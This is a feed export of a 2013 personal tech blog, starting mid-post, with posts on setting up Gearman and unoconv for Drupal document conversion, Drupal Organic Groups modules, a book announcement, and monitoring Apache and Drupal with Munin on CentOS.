href=&quot;https://www.linkedin.com/pub/david-madar/5/67b/7a&quot;&gt;David Madar&lt;/a&gt; had put together a list of open source tools to get this job done.&lt;/p&gt;
&lt;h2 id=&quot;installing-software&quot;&gt;Installing software&lt;/h2&gt;
&lt;p&gt;The solution includes the following software stack:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Gearman as a job server for running background tasks&lt;/li&gt;
&lt;li&gt;Openoffice, a Python script and &lt;code&gt;ghostscript&lt;/code&gt;, all for the purpose of accepting one input format and converting it to an output format as we desire (images for now).&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id=&quot;installing-gearman&quot;&gt;Installing Gearman&lt;/h4&gt;
&lt;p&gt;In most cases I’d just grab the &lt;code&gt;gearman&lt;/code&gt; sources with the required headers and supporting libraries but if you’re working with CentOS then most packages are plain old, and secondly a pain to install if there’s no RPM for it (yes, it’s a rant). So if you’re one of the luckiest men on earth to be given CentOS 5 to work with (unfortunately 5.3 to be exact) for this little experiment you can do:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt; yum install gearmand.x86_64 wget http://pecl.php.net/package/gearman/0.8.3 &amp;#x26;&amp;#x26; pecl install gearman-0.8.3.tar.gz&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;and this will give you gearman server with the required libraries as well as the gearman php extension. Now you are the proud owner of gearman server version 0.14, which was released back in 2010 while there’s already 1.x last released on 2013, but hey, at least your using RH/CentOS. Next up, installing the rest of software stack:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;yum install openoffice.org-pyuno openoffice.org-headless.x86_64 openoffice.org-draw.x86_64 openoffice.org-graphicfilter.x86_64 openoffice.org-headless.x86_64 openoffice.org-impress.x86_64 openoffice.org-calc.x86_64 ghostscript&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And finally getting unoconv, which is yet again not a member of the default RH5.8 repository packages so next is obtaining the RPM for unoconv from &lt;code&gt;http://pkgs.org/centos-5-rhel-5/repoforge-i386/unoconv-0.5-1.el5.rf.noarch.rpm.html&lt;/code&gt; and installing it.&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;wget http://apt.sw.be/redhat/el5/en/i386/rpmforge/RPMS/unoconv-0.5-1.el5.rf.noarch.rpmrpm -Uvh unoconv-0.5-1.el5.rf.noarch.rpm --nodeps&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It’s important to test &lt;code&gt;unoconv&lt;/code&gt; and make sure it works. Give it a PPT file and convert it to PDF as follows:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;/usr/bin/unconv -f pdf &amp;#x3C;inputfile.ppt&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;integrate-with-drupal&quot;&gt;Integrate with Drupal&lt;/h2&gt;
&lt;p&gt;It really depends on how you want to do things. To create a slideshow which doesn’t depend on any plugin you may want to convert everything ultimately to images which give you more room to play with, such as creating your own views based slideshow gallery, javascript to manipulate the navigation, etc. So if you’re getting a PPT file you want to convert that to PDF and then to break the PDF pages each into an image. If you’re getting a PDF that’s half the job already done for you. While you can create and manage all of the conversion process right-after the upload and as part of your content type creation submit handler you will probably find it a better user experience to process the conversion task as an offline, batch job. We chose to go with &lt;a href=&quot;http://gearman.org/&quot;&gt;Gearman&lt;/a&gt; but there are ways to do this like hook into cron, etc. To make &lt;code&gt;drush gearman-worker&lt;/code&gt; command run in the background as a daemon without losing mysql connectivity  &lt;a href=&quot;http://www.linkedin.com/pub/david-madar/5/67b/7a&quot;&gt;a colleague&lt;/a&gt;  found it effective to re-connect to the mysql database every time the worker function is called. This is accomplished this way:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;function your_module_gearman_worker($work) { &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;  // Reset the connection to the DB global $db_url, $active_db; &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;  if (is_array($db_url)) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;    $connect_url = array_shift(array_values($db_url)); &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;  } else {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;    $connect_url = $db_url;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;  $active_db = db_connect($connect_url); &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;  // rest of your code goes here...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;</content:encoded></item><item><title>Drupal 8 development – finding API changes through Drupal’s Change Records</title><link>https://lirantal.com/blog/2013-09-10/</link><guid>https://lirantal.com/blog/2013-09-10/</guid><description>Changesets are helpful to understand Drupal 8 init hook API</description><pubDate>Tue, 10 Sep 2013 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;When tackling a new framework or program code, in attempt to contribute and join the development effort, one may find it difficult to navigate through the set of APIs. That’s where documentation comes in. This is the case with new comers to  &lt;a href=&quot;https://drupal.org/&quot;&gt;Drupal&lt;/a&gt;‘s 8th development branch as well, except we don’t really have an official documentation up and ready at our disposal. While there are blog reviews covering different parts of  &lt;a href=&quot;https://drupal.org/community-initiatives/drupal-core&quot;&gt;Drupal 8 development&lt;/a&gt; you might find the most important or at least up to date information that you need at Drupal’s &lt;a href=&quot;https://drupal.org/list-changes/&quot;&gt;Change Records&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://drupal.org/list-changes/&quot;&gt;Change Records&lt;/a&gt;  are somewhat of a changelog list which is a bit more elaborate and may specify when was the change introduced, any open issues with it, where is its impact through-out the system and even examples of making use of the new API, if present.&lt;/p&gt;
&lt;p&gt;Taking Drupal’s 8 version of the  &lt;a href=&quot;https://api.drupal.org/api/drupal/modules%21system%21system.api.php/function/hook_init/7&quot;&gt;hook_init()&lt;/a&gt; implementation we can browse to &lt;a href=&quot;https://drupal.org/node/2013014&quot;&gt;https://drupal.org/node/2013014&lt;/a&gt; in search for that API, so for the keyword we can simply type-in  &lt;em&gt;init&lt;/em&gt;  and while we can further tune the search parameters it is probably not necessary as this is a very focused area. Once running the search  &lt;a href=&quot;https://drupal.org/node/2013014&quot;&gt;we can find the desired API change&lt;/a&gt;  dating back to 05-Jun-2013 on Drupal’s 8.x version and hope the information on the change record is good enough to answer our needs.&lt;/p&gt;</content:encoded></item><item><title>OG Content Access in Drupal</title><link>https://lirantal.com/blog/2013-08-29/</link><guid>https://lirantal.com/blog/2013-08-29/</guid><description>About authorization in Drupal with a module to control access to content based on OG membership</description><pubDate>Thu, 29 Aug 2013 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;http://drupal.org/&quot;&gt;Drupal&lt;/a&gt;  has a flexible access control list (&lt;a href=&quot;http://en.wikipedia.org/wiki/Access_control_list&quot;&gt;ACL&lt;/a&gt;) system, where it provides permissions and roles (also known as  &lt;a href=&quot;http://en.wikipedia.org/wiki/Rbac&quot;&gt;RBAC&lt;/a&gt;, Role Based Access Control) per user. This eases administrators job by allowing them to group users into different classes or categories (roles) to create differentiation in user’s capabilities. While this fits most web applications built on top of Drupal it doesn’t fit them all.&lt;/p&gt;
&lt;p&gt;Drupal’s fault at this is that it is designed to be &lt;strong&gt;very&lt;/strong&gt; permissive by default. In most cases, this means that users are generally allowed to see everything (even though they may not be able to create, edit or delete). This is the case with  &lt;a href=&quot;https://drupal.org/project/og&quot;&gt;Organic Groups&lt;/a&gt;  as well. When users in a Drupal+OG website becomes a member of a community, they may not be able to create/edit/delete some content types, but they will definitely, by default, be able to see (have read permissions, per say) all of the content in that group.&lt;/p&gt;
&lt;p&gt;This is where &lt;a href=&quot;https://drupal.org/project/og_content_access&quot;&gt;OG Content Access&lt;/a&gt; module comes in… it provides the ability to rely on  &lt;a href=&quot;https://drupal.org/project/og_user_roles&quot;&gt;group-specific roles&lt;/a&gt;  for providing (view/load) access to specific content. The use-case is as follows: you have a group with several content types – blog, announcements, file downloads. Any members of that group will automatically have access to view any of the above contents. You can control access to create, delete, and edit content for different roles, yes, but every member will &lt;strong&gt;always&lt;/strong&gt; have access to view all of the contents of a group.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://enginx.com/content/implementing-user-specific-role-based-access-control-node-type-group-part-2&quot;&gt;With this module you can restrict viewing each content to different members by setting the role which is allowed to view/access each content and then&lt;/a&gt;, within the group context you may assign roles as necessary for each member.&lt;/p&gt;</content:encoded></item><item><title>OG Analytics – an answer for a D6 organic groups environment</title><link>https://lirantal.com/blog/2013-08-25/</link><guid>https://lirantal.com/blog/2013-08-25/</guid><description>About OG Analytics, a module to provide analytics for organic groups</description><pubDate>Sun, 25 Aug 2013 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Analytics&quot;&gt;Analytics&lt;/a&gt; provide insights to behaviors and patterns based on quantitative data. This is most often to aid in making decisions which aren’t just based on a hunch but rather on previous (recorded) experience.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://hpln.hp.com/&quot;&gt;Running&lt;/a&gt; a &lt;a href=&quot;http://drupal.org/&quot;&gt;Drupal&lt;/a&gt;  6 instance, we wanted to get more information in regards to how our content is being used within  &lt;a href=&quot;https://drupal.org/project/og&quot;&gt;organic groups&lt;/a&gt;. The common statistics module won’t be of help in this case because it is providing a site-wide information, such as total number of forum nodes, but how about providing a group admin (in OG-terms) the ability to monitor how many forums have been active in his group? which are the top active forum topics? which are the most downloaded content?&lt;/p&gt;
&lt;p&gt;To meet the above requirements  &lt;a href=&quot;https://drupal.org/project/1705198&quot;&gt;OG Analytics&lt;/a&gt;  was developed. It is leveraging Google’s  &lt;a href=&quot;https://developers.google.com/chart/&quot;&gt;Charts API&lt;/a&gt;  which adds a very nice user interface to the mix and the module’s design is built in such a way that allows developers to further enrich the analytics pages with more sections (forums, downloads, general user activity, e-commerce output charts etc).&lt;/p&gt;
&lt;p&gt;This module has been live in it’s project page for quite some time but I’ve promoted it to a drupal.org project just now.&lt;/p&gt;
&lt;p&gt;While it seems that OG Analytics is the only module exists for Drupal 6  &lt;a href=&quot;https://drupal.org/project/og&quot;&gt;Organic Groups&lt;/a&gt; setup &lt;a href=&quot;https://drupal.org/project/views_dataviz&quot;&gt;there are&lt;/a&gt; more advanced modules for Drupal 7.&lt;/p&gt;
&lt;p&gt;Some screenshots eye-candy for you :-)&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://web.archive.org/web/20140630173556im_/http://drupal.org/files/project-images/oga_1.png&quot; alt=&quot;&quot; title=&quot;OG1&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://web.archive.org/web/20140630173556im_/http://drupal.org/files/project-images/oga_2.png&quot; alt=&quot;&quot; title=&quot;OG 2&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://web.archive.org/web/20140630173556im_/http://drupal.org/files/project-images/oga_3.png&quot; alt=&quot;&quot; title=&quot;OG 3&quot;&gt;&lt;/p&gt;</content:encoded></item><item><title>Writing “Drupal 7 Media</title><link>https://lirantal.com/blog/2013-08-21/</link><guid>https://lirantal.com/blog/2013-08-21/</guid><description>Some awesome news: my book, titled “Drupal 7 Media”, was released by Packt Publishing on July 2013.</description><pubDate>Wed, 21 Aug 2013 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;My book, titled “Drupal 7 Media”, was &lt;a href=&quot;http://www.packtpub.com/drupal-7-media/book&quot;&gt;released&lt;/a&gt; by  &lt;a href=&quot;http://www.packtpub.com/&quot;&gt;Packt Publishing&lt;/a&gt; on July 2013. It started with an official e-mail from Packt Pub’s project coordinator for the book, asking if I’d be interested to take part in writing this book. I had some thoughts, as to whether this would be an appropriate time to work on it (writers have a schedule they need to meet), but after some quick thoughts which I tend to do more than often, I decided to go for it (after my wife Tal confirmed my gut feeling).&lt;/p&gt;
&lt;p&gt;While  &lt;a href=&quot;http://www.amazon.com/daloRADIUS-User-Guide-Volume-1/dp/1463752199&quot;&gt;I’ve written a book before&lt;/a&gt;, I didn’t have tight deadlines nor did I need to co-ordinate with project reviewers, commissioning editors or technical reviewers. It required me to focus, to be sharp and plan properly for this endeavor. I have worked with Packt Pub before when I technically reviewed  &lt;a href=&quot;http://www.packtpub.com/drupal-rules-framework/book&quot;&gt;Drupal Rules how-to&lt;/a&gt; and &lt;a href=&quot;http://www.packtpub.com/elgg-18-social-networking/book&quot;&gt;Elgg 1.8 Social Networking&lt;/a&gt;, but a reviewer’s job, as helpful as it may be, it’s hard to compare to authoring a book.&lt;/p&gt;
&lt;p&gt;When authoring a title, there’s much thinking process in setting up the book’s outline. Each chapter must be practical for readers to actually learn and implement the knowledge gained through-out the chapter. Further more, chapters should probably build one upon the other, so that readers who follow would be able to also understand how the various components are integrated together to provide some functionality.About 4 months later, with incredible help from all of Packt Pub’s staff and my lovely wife’s patience and support the book was officially released. Much before the planned release date too. It was a great experience working on this book, collaborating and learning so much through out this amazing process.Drupal is no stranger to me. In fact it’s a close friend for the last two and a half years.&lt;/p&gt;
&lt;p&gt;At HP’s Live Network R&amp;#x26;D group, we’re using the open source Drupal CMS as a platform for building a content delivery and collaboration framework for HP Software’s product teams and their users. Anyone who has worked with Drupal before knows that there’s a love-and-hate relationship with it. It’s great at one time, and drives you mad the next, but you eventually learn to appreciate its weirdness.So last thing left to do after getting my long-awaited book paperback was to toast with my team mates at work. Thanks guys! :-)&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://enginx.com/wp-content/uploads/2013/08/drupal-7-media-toast.jpg&quot;&gt;&lt;img src=&quot;https://web.archive.org/web/20140625185755im_/http://enginx.com/wp-content/uploads/2013/08/drupal-7-media-toast-300x225.jpg&quot; alt=&quot;drupal-7-media-toast&quot;&gt;&lt;/a&gt;&lt;/p&gt;</content:encoded></item><item><title>More Munin monitoring – track apache web server health</title><link>https://lirantal.com/blog/2013-05-09/</link><guid>https://lirantal.com/blog/2013-05-09/</guid><description>Using mod_status plugin for apache and munin to track apache health</description><pubDate>Thu, 09 May 2013 00:00:00 GMT</pubDate><content:encoded>&lt;h2 id=&quot;monitoring-apache&quot;&gt;Monitoring apache&lt;/h2&gt;
&lt;p&gt;Monitoring internal &lt;code&gt;apache&lt;/code&gt; information is useful if you’re using it to serve your web application requests. It has an internal module which you can load (and probably loaded by default already) called &lt;code&gt;mod_status&lt;/code&gt;. To add monitoring for apache you need to enable &lt;code&gt;mod_status&lt;/code&gt; module and uncomment the &lt;code&gt;/server-status&lt;/code&gt; directory.&lt;/p&gt;
&lt;p&gt;If you’re working with an .htaccess that overrides the vhost/normal configuration you probably also need to skip re-writing the url if the &lt;code&gt;/server-status&lt;/code&gt; is request so add the following rule to the &lt;code&gt;.htaccess&lt;/code&gt; file:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;RewriteCond %{REQUEST_URI} !=/server-status&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;and make sure the following is in &lt;code&gt;httpd.conf&lt;/code&gt;:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;ExtendedStatus On&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;SetHandler server-status&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;Order deny,allow&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;Deny from all&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;Allow from XX.YY&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;Allow from 127.0.0.1&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;With munin and the bundled apache plugin for it, you get the following metrics for free:&lt;br&gt;
&lt;a href=&quot;http://enginx.com/wp-content/uploads/2013/08/apache_1.png&quot;&gt;&lt;img src=&quot;https://web.archive.org/web/20140703112135im_/http://enginx.com/wp-content/uploads/2013/08/apache_1-300x243.png&quot; alt=&quot;apache_1&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Side-note - on some installs, like on my RHEL5, there’s a bug which will spam you with emails (if you configured those to work and being processed through a mail server). The bug is fairly described here  &lt;a href=&quot;https://253965.bugs.gentoo.org/attachment.cgi?id=177568&quot;&gt;https://253965.bugs.gentoo.org/attachment.cgi?id=177568&lt;/a&gt;  and to amend this you will need to apply the following patch: &lt;a href=&quot;http://phil.ro/patches/munin_1.3.4-r1_utf8.patch&quot;&gt;http://phil.ro/patches/munin_1.3.4-r1_utf8.patch&lt;/a&gt;&lt;/p&gt;</content:encoded></item><item><title>Book review: Instant Munin Plugin Starter</title><link>https://lirantal.com/blog/2013-04-14/</link><guid>https://lirantal.com/blog/2013-04-14/</guid><description>Reviewing a book about Munin as a monitoring pluing for Nagios</description><pubDate>Sun, 14 Apr 2013 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;img src=&quot;https://static.packt-cdn.com/products/9781849696746/cover/smaller&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;This book could not have come in a better timing. I have only recently researched an easy to maintain and gets-the-job-done monitoring tool and if you’ve dealt before with monitoring tools and network operating centers (NOC) in general then you know that some tools are just an overkill. &lt;a href=&quot;http://www.nagios.org/&quot;&gt;Nagios&lt;/a&gt;, &lt;a href=&quot;http://www.zenoss.com/&quot;&gt;Zenoss&lt;/a&gt; and the rest of them are good tools on their own but the overhead with configuration, and deployment, having a central server to host the server-side etc might be too much. &lt;a href=&quot;http://munin-monitoring.org/&quot;&gt;Munin&lt;/a&gt; is much like them in this sense of being a server/client solution, but it’s agent, and overall configuration and tasks required to get a service monitored can be completed in less than 10 minutes.&lt;/p&gt;
&lt;p&gt;The book is very concise and geared towards getting you started very quickly, along with providing information on how to extend further on when you scale up with your own custom munin agent monitors. &lt;a href=&quot;https://github.com/barttenbrinke&quot;&gt;Bart&lt;/a&gt; did a good job balancing between the different features. It kicks off with laying out what munin is all about, following-up with a detailed overview on munin’s configuration and architecture. As part of the munin solution that we deployed, I was required to create agent scripts for munin to be able to monitor our internal &lt;a href=&quot;http://drupal.org/&quot;&gt;Drupal&lt;/a&gt; application for various interesting metrics. In this regard, it covers a simple munin plugin with a shell script, as well as a more advanced example of it in perl.&lt;/p&gt;
&lt;p&gt;It explains very simply and elegantly how things work and how to get the job done properly and summarizes nicely with the author taking the reader through a few more practical examples of advanced monitoring agents and finally providing the user tools to keep up to date with the community around munin, whether it’s plugins archive to find not-so-popular monitoring agents and support resources for getting help. I did find some missing parts which I think should’ve have made it into the book – covering graph basic settings like graph_scale variable, or the graph types (gauge, etc) and their differences as well as best practices would have provided the user with better understanding of how graphs should be built and would definitely worth a few more pages of reading.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://packtpub.com/&quot;&gt;PacktPub’s&lt;/a&gt; Instant Munin Plugin Starter, see it &lt;a href=&quot;http://link.packtpub.com/c2VNS8&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;</content:encoded></item><item><title>Monitoring Drupal with Munin</title><link>https://lirantal.com/blog/2013-04-03/</link><guid>https://lirantal.com/blog/2013-04-03/</guid><description>How to monitor a Drupal website with Munin plugin for Nagios</description><pubDate>Wed, 03 Apr 2013 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;http://munin-monitoring.org/&quot;&gt;Munin&lt;/a&gt; is a lightweight server/agent monitoring tool.&lt;br&gt;
Basically, it works by installing agents on machines you wish to monitor and they report status messages to a munin server, which is another component (ofcourse both the server and agent can run on the same machine). Munin saves those status messages in it’s own data store and is integrated with  &lt;a href=&quot;http://oss.oetiker.ch/rrdtool/&quot;&gt;rrdtool&lt;/a&gt; to produce  &lt;a href=&quot;http://oss.oetiker.ch/rrdtool/gallery/index.en.html&quot;&gt;nice looking graphs&lt;/a&gt; which give you an overview of daily, weekly, monthly and yearly periodical reports.&lt;/p&gt;
&lt;h2 id=&quot;munin-in-drupal&quot;&gt;Munin In Drupal&lt;/h2&gt;
&lt;p&gt;Using Munin to monitor some internal Drupal statistics goes a long way regarding insight gathering of what’s going on your web application in real-time. While there are some munin related plugins to use on drupal.org I find it to be yet another module on top of already installed that I have and doesn’t really serve my need. End users can easily build their scripts to get the information they care about and this doesn’t need to exist within the Drupal app at all.&lt;/p&gt;
&lt;p&gt;I’ve  &lt;a href=&quot;https://github.com/lirantal/contrib/tree/master/plugins/drupal&quot;&gt;forked&lt;/a&gt;  the munin’s contrib project on github and you can find a few scripts to get some nice and information from Drupal 6 already:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;total files&lt;/li&gt;
&lt;li&gt;total forums and comments&lt;/li&gt;
&lt;li&gt;node distribution count&lt;/li&gt;
&lt;li&gt;users online (total, anonymous vs registered users)&lt;/li&gt;
&lt;li&gt;users total vs blocked users&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;And there’s nothing like an image to please the eye…&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://enginx.com/wp-content/uploads/2013/08/drupal_online_users.png&quot;&gt;&lt;img src=&quot;https://web.archive.org/web/20140703102650im_/http://enginx.com/wp-content/uploads/2013/08/drupal_online_users-300x169.png&quot; alt=&quot;drupal_online_users&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;All the code is here: &lt;a href=&quot;https://github.com/lirantal/contrib/tree/master/plugins/drupal&quot;&gt;https://github.com/lirantal/contrib/tree/master/plugins/drupal&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&quot;installing-munin&quot;&gt;Installing Munin&lt;/h2&gt;
&lt;p&gt;We won’t dwell into the ins and outs of munin or it’s installation, as you can easily find out all of this information and more on  &lt;a href=&quot;http://munin-monitoring.org/wiki/LinuxInstallation&quot;&gt;munin’s website&lt;/a&gt; and  &lt;a href=&quot;http://google.com/&quot;&gt;Google&lt;/a&gt;, but here’s a short guide on it anyway for CentOS or RedHat-based distributions.&lt;/p&gt;
&lt;p&gt;If munin package isn’t available in your repository try adding using &lt;code&gt;rpmforge&lt;/code&gt; (the following uses the RHEL5 64bit repositor):&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;rpm -Uhv http://apt.sw.be/redhat/el5/en/x86_64/rpmforge/RPMS//rpmforge-release-0.3.6-1.el5.rf.x86_64.rpm&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;On the machine that hosts the munin server (it also hosts the html web resources) you should install the munin package:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;yum install munin&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Edit /etc/munin/munin.conf and setup the local host if you’re hoping to monitor the munin server too:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;[localhost]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;address 127.0.0.1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;use_node_name&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Set a contact for alerts:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;contact.liran.command mail -s &quot;Munin notification&quot; your.email@example.com&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We’ll need to symlink the munin directory from where it installed to to your web directory and then we can create an alias for it too:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;# add an alias for apache in /etc/httpd/conf/httpd.conf&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;Alias /munin /var/www/munin&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;Options FollowSymLinks&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;AllowOverride None&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;Order allow,deny&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;Allow from all&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;So far this was the munin server side of things. If the same machine needs to be monitored too or if you need to install the munin monitoring agent on another machine you need to install the munin-node package:&lt;/p&gt;
